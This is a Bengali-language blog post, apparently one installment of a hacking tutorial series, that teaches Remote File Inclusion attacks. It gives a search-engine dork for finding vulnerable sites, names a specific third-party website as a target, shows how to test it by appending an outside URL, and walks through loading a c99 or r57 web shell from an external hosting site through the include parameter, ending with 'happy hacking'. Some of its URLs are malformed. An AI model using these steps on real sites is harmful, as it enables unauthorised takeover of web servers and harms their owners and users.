আসসালামু আলাইকুম সবাই কেমন আছেন?আশা করি সবাই ভাল আছেন? আমি ও আল্লাহর রহমতে ভাল আছি। অনেক দিন পর আবার পর্ব নিয়ে ফিরলাম! সাথে থাকার জন্য সবাইকে ধন্যবাদ। আশা করি এখন নিয়মিত লিখতে পারব  😛

আমরা ১ম ও ২য়, পর্বে আলোচনা করেছিলাম যে হ্যাকিং কি, হ্যাকার কারা,হ্যাকার কয় ধরনের? এবং হ্যাকার হতে আমাদের কী কী লাগবে!

আজকের পর্বে দেখাব হ্যাকিং এর আরেকটি এবং অন্যতম  ম্যাথড RFI বা (Remote file inclusion) এর কাজ  😮 

প্রথম RFI বা Remote file inclusion কী? 

Remote file inclusion হ্যাকিং, এর সংক্ষিপ রুপ হল   RFI হ।  এটি অনন্যা হ্যাকিং ম্যাথডের মধ্যে অন্যতম হ্যাকিং ম্যাথড। সকল হ্যাকিং  পদ্ধতির মতো এই পদ্ধতিতেও আপনাকে ওয়েবসাইটের vulnerability বের করতে হবে। এই vulnerability এর মাধ্যমে আপুনি একটি ওয়েব সার্ভারে Remote file inclusion যুক্ত করতে পারবেন। 

এখন সাইট vulnerable কিনা তা বুজবেন কিভাবে?

http://www.yourtargetsite.com/index.php?page=Anything (এইটা দেখেন)
এখন গুগল ডক ধরকার তাই না?
গুগল ডক “inurl:index.php?page=” এখন এই গুগল ডক গুগলে লিখে সার্চ দেন! তাহলে গুগল আপনাকে index.php?page=” এই সম্পর্কের যত সাইট আছে তা এনে দিবে (উপহার হিসবে) 😀

এখন সার্চ রিজাল্ট থেকে যে কোন একটা সাইটে প্রবেশ করুন। যেমন আমি পেয়েছি এই সাইট http://www.tolvan.com/
এখন এই সাইটে ওয়েব সাইটে RFI ইঞ্জেকশান দেয়া যাবে কি না? তা কিভাবে চ্যাক করবেন?
যে ভাবে চ্যাক করবেনঃ- http://www.tolvan.com/v2/index.php?page=http://www.greenweb.com.bd

মানে কি বুজতে পেরেছেন? মানে আপনার সার্চ করা যে কোন সাইট এর শেষে যে কোন একটা সাইট লিংক দেন। যদি উক্ত ওয়েবসাইটটি অন্য  খোলে তাহলে বুঝবেন যে এই ওয়েব সাইটে RFI ইঞ্জেকশান দেয়া যাবে।

এখন শেল আপলোড করার পালাঃ-

শেল আপলোড করে করবেন, কারন আপুনি যে সাইট হ্যাক করেছেন তার প্রমান দিবেন।

সাধারণত বেশিভাগ হ্যাকার c99 shel তে শেল আপলোড করে। আপুনি ও আপলোড করতে পারেন। আমি দেখাব কিভাবে c99 shel শেল আপলোড করবেন। আবার কোন কোন হ্যাকার r57 shell আপলোড করে। যার যেখানে ইচ্ছা।

সেল আপলোড করতে হলে যে কোন একটা হোস্টিং সাইটে সেল আপলোড করতে হবে যেমন, 110mb.com সহ আর অনেক সাইট। 

এখন মনে করেন আমি 110mb.com সাইটে সেল আপলোড করলাম। তাইলে লিংক এই রকম হবে

http:// 110mb.com /tjusthack/c784shell.php? 
এখন একটা কমান্ড দিব

http://www.tolvan.com/v2/index.php??pagehttp:// 110mb.com /tjusthack/c784shell.php? 

নোটঃ লিংকের শেষে “ ? ” এটা দিতে হবে! নাইলে আপনার লিংক কাজ করবে না! 
ব্যাস কাজ শেষ  8-O

 কিছু পরামর্শঃ

লিখাটি টেকটিউনস এর আগে প্রকাশ করা হয়েছিল এখানে  
এখন থেকে আমার সকল লিখা+ নিয়মিত পর্ব পেতে এই সাইট সেইভ করে রাখুন। 
বিদায়, হ্যাপি হ্যাকিং ! 

কম্পিউটার, ব্লগিং, এডসেন্স, এসিও এসব বিষয়ের আরও ইনফরমেশন পাবেন Blogging Tips ওয়েবসাইট এ।